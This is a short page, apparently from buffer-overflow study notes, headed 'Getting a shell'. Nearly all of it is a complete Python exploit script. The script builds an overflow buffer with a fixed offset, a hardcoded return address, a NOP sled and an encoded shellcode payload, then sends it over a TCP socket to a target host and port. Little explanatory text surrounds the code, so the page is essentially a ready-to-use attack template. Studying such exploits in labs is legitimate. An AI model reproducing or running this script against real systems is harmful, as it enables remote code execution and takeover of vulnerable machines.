Getting a shell
Final example exploit script
import socket
ip = <target ip>
port = <target port>
prefix = "<command to test> "
offset = 1978
overflow = "A" * offset
retn = "\xaf\x11\x50\x62"
padding = "\x90" * 16
payload = ("\xd9\xc8\xd9\x74\x24\xf4\xb8\x39\x4a\x42\x84\x5e\x33\xc9"
"\xb1\x52\x31\x46\x17\x83\xc6\x04\x03\x7f\x59\xa0\x71\x83"
"\xb5\xa6\x7a\x7b\x46\xc7\xf3\x9e\x77\xc7\x60\xeb\x28\xf7"
"\xe3\xb9\xc4\x7c\xa1\x29\x5e\xf0\x6e\x5e\xd7\xbf\x48\x51"
"\xe8\xec\xa9\xf0\x6a\xef\xfd\xd2\x53\x20\xf0\x13\x93\x5d"
"\xf9\x41\x4c\x29\xac\x75\xf9\x67\x6d\xfe\xb1\x66\xf5\xe3"
"\x02\x88\xd4\xb2\x19\xd3\xf6\x35\xcd\x6f\xbf\x2d\x12\x55"
"\x09\xc6\xe0\x21\x88\x0e\x39\xc9\x27\x6f\xf5\x38\x39\xa8"
"\x32\xa3\x4c\xc0\x40\x5e\x57\x17\x3a\x84\xd2\x83\x9c\x4f"
"\x44\x6f\x1c\x83\x13\xe4\x12\x68\x57\xa2\x36\x6f\xb4\xd9"
"\x43\xe4\x3b\x0d\xc2\xbe\x1f\x89\x8e\x65\x01\x88\x6a\xcb"
"\x3e\xca\xd4\xb4\x9a\x81\xf9\xa1\x96\xc8\x95\x06\x9b\xf2"
"\x65\x01\xac\x81\x57\x8e\x06\x0d\xd4\x47\x81\xca\x1b\x72"
"\x75\x44\xe2\x7d\x86\x4d\x21\x29\xd6\xe5\x80\x52\xbd\xf5"
"\x2d\x87\x12\xa5\x81\x78\xd3\x15\x62\x29\xbb\x7f\x6d\x16"
"\xdb\x80\xa7\x3f\x76\x7b\x20\x4a\x8f\x96\xc5\x22\x8d\x98"
"\x34\xef\x18\x7e\x5c\x1f\x4d\x29\xc9\x86\xd4\xa1\x68\x46"
"\xc3\xcc\xab\xcc\xe0\x31\x65\x25\x8c\x21\x12\xc5\xdb\x1b"
"\xb5\xda\xf1\x33\x59\x48\x9e\xc3\x14\x71\x09\x94\x71\x47"
"\x40\x70\x6c\xfe\xfa\x66\x6d\x66\xc4\x22\xaa\x5b\xcb\xab"
"\x3f\xe7\xef\xbb\xf9\xe8\xab\xef\x55\xbf\x65\x59\x10\x69"
"\xc4\x33\xca\xc6\x8e\xd3\x8b\x24\x11\xa5\x93\x60\xe7\x49"
"\x25\xdd\xbe\x76\x8a\x89\x36\x0f\xf6\x29\xb8\xda\xb2\x4a"
"\x5b\xce\xce\xe2\xc2\x9b\x72\x6f\xf5\x76\xb0\x96\x76\x72"
"\x49\x6d\x66\xf7\x4c\x29\x20\xe4\x3c\x22\xc5\x0a\x92\x43"
"\xcc")
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")
Last updated